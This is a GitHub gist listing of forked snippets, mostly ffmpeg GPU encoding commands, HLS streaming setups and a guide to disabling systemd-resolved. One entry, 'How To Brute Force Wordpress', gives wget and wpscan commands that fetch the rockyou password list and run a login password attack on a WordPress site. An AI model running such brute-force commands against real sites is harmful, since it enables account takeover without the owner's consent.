Skip to content

Instantly share code, notes, and snippets.

View whittinghamj's full-sized avatar

Jamie Whittingham whittinghamj

View GitHub Profile
@whittinghamj
whittinghamj / ffmpeg-common.sh
Created September 5, 2023 02:09 — forked from tiantuxu/ffmpeg-common.sh
Common ffmpeg Command Lines (with NVIDIA GPU Support)
# Decode a video to yuv420 raw format
ffmpeg -vsync 0 -c:v h264_cuvid -i input.mp4 -c:v rawvideo -pix_fmt yuv420p -f null /dev/null
ffmpeg -vsync 0 -c:v h264_cuvid -i input.mp4 -c:v rawvideo -pix_fmt yuv420p output.yuv
# Resize videos to 640x480
ffmpeg -c:v h264_cuvid -i input.mp4 -vf scale=640:480 -c:v h264_nvenc output.mp4
# Downsampling frame rate to 30fps
ffmpeg -i input.mp4 -r 30 -c:v h264_nvenc output.mp4
@whittinghamj
whittinghamj / README.md
Created September 6, 2022 11:30 — forked from zoilomora/README.md
How to disable systemd-resolved in Ubuntu

How to disable systemd-resolved in Ubuntu

Stages

  • Disable and stop the systemd-resolved service:

      sudo systemctl disable systemd-resolved.service
      sudo systemctl stop systemd-resolved
    
  • Then put the following line in the [main] section of your /etc/NetworkManager/NetworkManager.conf:

@whittinghamj
whittinghamj / README.md
Created September 4, 2020 23:57 — forked from mrbar42/README.md
Secured HLS setup with Nginx as media server

Secured HLS setup with Nginx as media server

This example is part of this article.

This is an example for an HLS delivery with basic security. Nginx compiled with nginx-rtmp-module & secure-link is used as media server. Features:

  • Domain filtering
  • Referrer filtering
  • Embed buster

How To Brute Force Wordpress

wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
sudo docker run -v $(pwd):/wordlists/ -it --rm wpscanteam/wpscan --url https://website.com --rua -e u --users-detection mixed --password-attack wp-login -P /wordlists/rockyou.txt --disable-tls-checks
@whittinghamj
whittinghamj / ffmpeg-livestream-to-streaming-sites-vaapi-nvenc.md
Created June 15, 2019 05:30 — forked from Brainiarc7/ffmpeg-livestream-to-streaming-sites-vaapi-nvenc.md
ffmpeg livestreaming to youtube via Nvidia's NVENC and Intel's VAAPI on supported hardware

Streaming your Linux desktop to Youtube and Twitch via Nvidia's NVENC and VAAPI:

Considerations to take when live streaming:

The following best practice observations apply when using a hardware-based encoder for live streaming to any platform:

  1. Set the buffer size (-bufsize:v) equal to the target bitrate (b:v). You want to ensure that you're encoding in CBR mode.

  2. Set up the encoders as shown:

@whittinghamj
whittinghamj / ffmpeg-hls.html
Created May 17, 2019 02:45 — forked from CharlesHolbrow/ffmpeg-hls.html
Example of ffmpeg for live hls streaming with hls.js
<!DOCTYPE html>
<html lang='`en'>
<head>
<meta charset='utf-8'/>
<title>Audio only stream example</title>
<script src="//cdn.jsdelivr.net/npm/hls.js@latest"></script>
<style>
video {
width: 640px;
height: 360px;